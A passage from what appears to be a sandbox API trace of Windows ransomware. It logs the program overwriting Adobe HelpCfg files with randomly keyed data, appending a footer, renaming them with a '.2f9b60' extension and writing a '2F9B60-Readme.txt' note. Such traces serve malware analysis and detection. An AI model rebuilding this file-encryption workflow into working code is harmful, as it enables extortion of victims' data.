lpNumberOfBytesRead=0x2ea3fc08*=0x4, lpOverlapped=0x0) returned 1 [0154.815] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda220 [0154.815] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda250 [0154.815] NtQuerySystemTime (in: CurrentTime=0x2ea3fb00 | out: CurrentTime=0x2ea3fb00*=132462177599542000) returned 0x0 [0154.815] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x3086966e [0154.815] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x89766f1 [0154.815] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x2633059b [0154.815] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x6d84f44d [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x4ca6d24a [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x41dfd8f [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x52fe8930 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x12bb7c09 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x28daf13a [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x72eb22ae [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x94ef6bb [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x7f91e717 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x66b6fd9a [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0xa25a58e [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x1e8387eb [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x2a825cce [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x40bd468e [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x3d96c9a1 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x6ededcd0 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x4d79557b [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x4682fbe9 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x4d2e7918 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x7cb34303 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x2d794259 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x495eea83 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x8686ca [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x2711edd8 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x3d411821 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x2fa8d960 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x47cf4ebb [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x4b55c763 [0154.816] RtlRandomEx (in: Seed=0x2ea3faf0 | out: Seed=0x2ea3faf0) returned 0x5ecb579 [0154.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda280 [0154.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.824] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda2b0 [0154.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0154.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda250) returned 1 [0154.824] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1fc0 [0154.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0154.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.825] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.825] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428709e0 [0154.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x428745f0 [0154.831] ReadFile (in: hFile=0x710, lpBuffer=0x428709e0, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x2ea3faf0, lpOverlapped=0x0 | out: lpBuffer=0x428709e0*, lpNumberOfBytesRead=0x2ea3faf0*=0x15d, lpOverlapped=0x0) returned 1 [0154.831] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.831] WriteFile (hFile=0x710, lpBuffer=0x428745f0, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x2ea3faf4, lpOverlapped=0x0) [0186.302] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec91a0 [0186.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec91d0 [0186.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec91d0) returned 1 [0186.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428745f0) returned 1 [0186.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x428709e0) returned 1 [0186.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0186.304] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1fc0) returned 1 [0186.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cbb0 [0186.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1fc0 [0186.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c940 [0186.305] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec91d0 [0186.306] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec91d0) returned 1 [0186.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cbf0 [0186.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec91d0 [0186.306] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9200 [0186.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9200) returned 1 [0186.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0186.307] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1fc0) returned 1 [0186.308] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423aa650 [0186.308] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.308] WriteFile (in: hFile=0x710, lpBuffer=0x423aa650*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x2ea3fc10, lpOverlapped=0x0 | out: lpBuffer=0x423aa650*, lpNumberOfBytesWritten=0x2ea3fc10*=0x118, lpOverlapped=0x0) returned 1 [0207.013] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c260 [0207.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0207.014] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda610 [0207.015] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda610) returned 1 [0207.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdda610 [0207.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda5e0 [0207.015] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda520 [0207.016] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda520) returned 1 [0207.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0207.017] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c260) returned 1 [0207.017] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x1cd86250 [0207.017] sprintf (in: _Dest=0x1cd86250, _Format="%c%c" | out: _Dest="83") returned 2 [0207.017] sprintf (in: _Dest=0x1cd86252, _Format="%c%c" | out: _Dest="af") returned 2 [0207.017] sprintf (in: _Dest=0x1cd86254, _Format="%c%c" | out: _Dest="e4") returned 2 [0207.017] sprintf (in: _Dest=0x1cd86256, _Format="%c%c" | out: _Dest="46") returned 2 [0207.017] sprintf (in: _Dest=0x1cd86258, _Format="%c%c" | out: _Dest="4a") returned 2 [0207.017] sprintf (in: _Dest=0x1cd8625a, _Format="%c%c" | out: _Dest="64") returned 2 [0207.017] sprintf (in: _Dest=0x1cd8625c, _Format="%c%c" | out: _Dest="55") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8625e, _Format="%c%c" | out: _Dest="e3") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86260, _Format="%c%c" | out: _Dest="c0") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86262, _Format="%c%c" | out: _Dest="91") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86264, _Format="%c%c" | out: _Dest="fa") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86266, _Format="%c%c" | out: _Dest="74") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86268, _Format="%c%c" | out: _Dest="e2") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8626a, _Format="%c%c" | out: _Dest="57") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8626c, _Format="%c%c" | out: _Dest="2b") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8626e, _Format="%c%c" | out: _Dest="4b") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86270, _Format="%c%c" | out: _Dest="3c") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86272, _Format="%c%c" | out: _Dest="c0") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86274, _Format="%c%c" | out: _Dest="a6") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86276, _Format="%c%c" | out: _Dest="17") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86278, _Format="%c%c" | out: _Dest="66") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8627a, _Format="%c%c" | out: _Dest="11") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8627c, _Format="%c%c" | out: _Dest="fa") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8627e, _Format="%c%c" | out: _Dest="32") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86280, _Format="%c%c" | out: _Dest="2e") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86282, _Format="%c%c" | out: _Dest="cc") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86284, _Format="%c%c" | out: _Dest="62") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86286, _Format="%c%c" | out: _Dest="2d") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86288, _Format="%c%c" | out: _Dest="31") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8628a, _Format="%c%c" | out: _Dest="c9") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8628c, _Format="%c%c" | out: _Dest="05") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8628e, _Format="%c%c" | out: _Dest="ba") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86290, _Format="%c%c" | out: _Dest="3a") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86292, _Format="%c%c" | out: _Dest="dc") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86294, _Format="%c%c" | out: _Dest="15") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86296, _Format="%c%c" | out: _Dest="de") returned 2 [0207.018] sprintf (in: _Dest=0x1cd86298, _Format="%c%c" | out: _Dest="96") returned 2 [0207.018] sprintf (in: _Dest=0x1cd8629a, _Format="%c%c" | out: _Dest="a1") returned 2 [0207.018] RtlInitAnsiString (in: DestinationString=0x2ea3fc88, SourceString="83afe4464a6455e3c091fa74e2572b4b3cc0a6176611fa322ecc622d31c905ba3adc15de96a1" | out: DestinationString="83afe4464a6455e3c091fa74e2572b4b3cc0a6176611fa322ecc622d31c905ba3adc15de96a1") [0207.018] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ea3fc58, SourceString="83afe4464a6455e3c091fa74e2572b4b3cc0a6176611fa322ecc622d31c905ba3adc15de96a1", AllocateDestinationString=1 | out: DestinationString="83afe4464a6455e3c091fa74e2572b4b3cc0a6176611fa322ecc622d31c905ba3adc15de96a1") returned 0x0 [0207.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x4314fb10 [0207.019] wcscat (in: _Dest=0x4314fa60, _Source="83afe4464a6455e3c09" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\83afe4464a6455e3c09") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\83afe4464a6455e3c09" [0207.019] wcscat (in: _Dest=0x4314fa60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\83afe4464a6455e3c09.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\83afe4464a6455e3c09.2f9b60" [0207.019] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\83afe4464a6455e3c09.2f9b60", NtPathName=0x2ea3fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\83afe4464a6455e3c09.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0207.019] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc4) returned 0x4310c050 [0209.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c050) returned 1 [0209.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309b730) returned 1 [0209.145] NtQueryInformationFile (in: FileHandle=0x710, IoStatusBlock=0x2ea3fc98, FileInformation=0x2ea3fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ea3fc98, FileInformation=0x2ea3fca8) returned 0x0 [0209.145] NtSetInformationFile (FileHandle=0x710, IoStatusBlock=0x2ea3fc98, FileInformation=0x2ea3fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fa60) returned 1 [0209.645] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4314fb10) returned 1 [0209.645] FlushFileBuffers (hFile=0x710) returned 1 [0212.754] CloseHandle (hObject=0x710) returned 1 [0215.698] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x431883e0 [0215.698] wcscpy (in: _Dest=0x431883e0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\" [0215.698] wcscat (in: _Dest=0x431883e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\2F9B60-Readme.txt" [0215.698] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi\\2f9b60-readme.txt")) returned 0xffffffff [0215.698] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fi_fi\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1634 [0218.151] WriteFile (in: hFile=0x1634, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2ea3fb50, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x2ea3fb50*=0xba9, lpOverlapped=0x0) returned 1 [0222.498] CloseHandle (hObject=0x1634) returned 1 [0224.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431883e0) returned 1 [0224.700] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505730) returned 1 Thread: id = 2517 os_tid = 0x1fc8 [0154.833] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr\\reader_10.0.helpcfg")) returned 0x20 [0154.834] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\Reader_10.0.helpcfg", dwFileAttributes=0x20) returned 1 [0154.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\Reader_10.0.helpcfg" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\fr_fr\\reader_10.0.helpcfg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x5f8 [0154.835] GetFileSizeEx (in: hFile=0x5f8, lpFileSize=0x30f3f740 | out: lpFileSize=0x30f3f740*=349) returned 1 [0154.835] SetFilePointerEx (in: hFile=0x5f8, liDistanceToMove=0x159, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.835] ReadFile (in: hFile=0x5f8, lpBuffer=0x30f3f6c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x30f3f708, lpOverlapped=0x0 | out: lpBuffer=0x30f3f6c0*, lpNumberOfBytesRead=0x30f3f708*=0x4, lpOverlapped=0x0) returned 1 [0154.836] SetFilePointerEx (in: hFile=0x5f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda250 [0154.837] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda2e0 [0154.837] NtQuerySystemTime (in: CurrentTime=0x30f3f600 | out: CurrentTime=0x30f3f600*=132462177599698000) returned 0x0 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x1be276cc [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x655ac2d0 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x72b109be [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x47990497 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x3ab9aca8 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x2746458f [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x418b8a1c [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x75d34166 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x1bf5cb09 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x2ad4fade [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x2cdd52c5 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x495a5bc6 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x548ff657 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x11906020 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x3fa1a705 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x2620b6fd [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x7798a76 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x73e4974 [0154.837] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x4c2a711e [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x6dfa1827 [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x3418b901 [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0xb9c75df [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x7bb00679 [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x122e30c3 [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x60181c0f [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x1f5eca3e [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x3c458807 [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x773eef58 [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x1da9d3cd [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x308564a5 [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x78392117 [0154.838] RtlRandomEx (in: Seed=0x30f3f5f0 | out: Seed=0x30f3f5f0) returned 0x112841b [0154.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda310 [0154.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c9c0 [0154.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda340 [0154.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c9c0) returned 1 [0154.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda2e0) returned 1 [0154.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2010 [0154.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c9c0 [0154.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdda1f0 [0154.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdda1f0) returned 1 [0154.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42878200 [0154.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4287be10 [0154.850] ReadFile (in: hFile=0x5f8, lpBuffer=0x42878200, nNumberOfBytesToRead=0x15d, lpNumberOfBytesRead=0x30f3f5f0, lpOverlapped=0x0 | out: lpBuffer=0x42878200*, lpNumberOfBytesRead=0x30f3f5f0*=0x15d, lpOverlapped=0x0) returned 1 [0154.851] SetFilePointerEx (in: hFile=0x5f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.851] WriteFile (hFile=0x5f8, lpBuffer=0x4287be10, nNumberOfBytesToWrite=0x15d, lpNumberOfBytesWritten=0x30f3f5f4, lpOverlapped=0x0) [0186.285] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec90e0 [0186.286] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9110 [0186.287] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9110) returned 1 [0186.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4287be10) returned 1 [0186.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42878200) returned 1 [0186.288] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c9c0) returned 1 [0186.289] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2010) returned 1 [0186.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5cab0 [0186.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced2010 [0186.289] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c9c0 [0186.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9110 [0186.290] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9110) returned 1 [0186.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1ce5caf0 [0186.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9110 [0186.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cec9140 [0186.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec9140) returned 1 [0186.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c9c0) returned 1 [0186.292] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced2010) returned 1 [0186.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x118) returned 0x423aa770 [0186.293] SetFilePointerEx (in: hFile=0x5f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0186.293] WriteFile (in: hFile=0x5f8, lpBuffer=0x423aa770*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x30f3f710, lpOverlapped=0x0 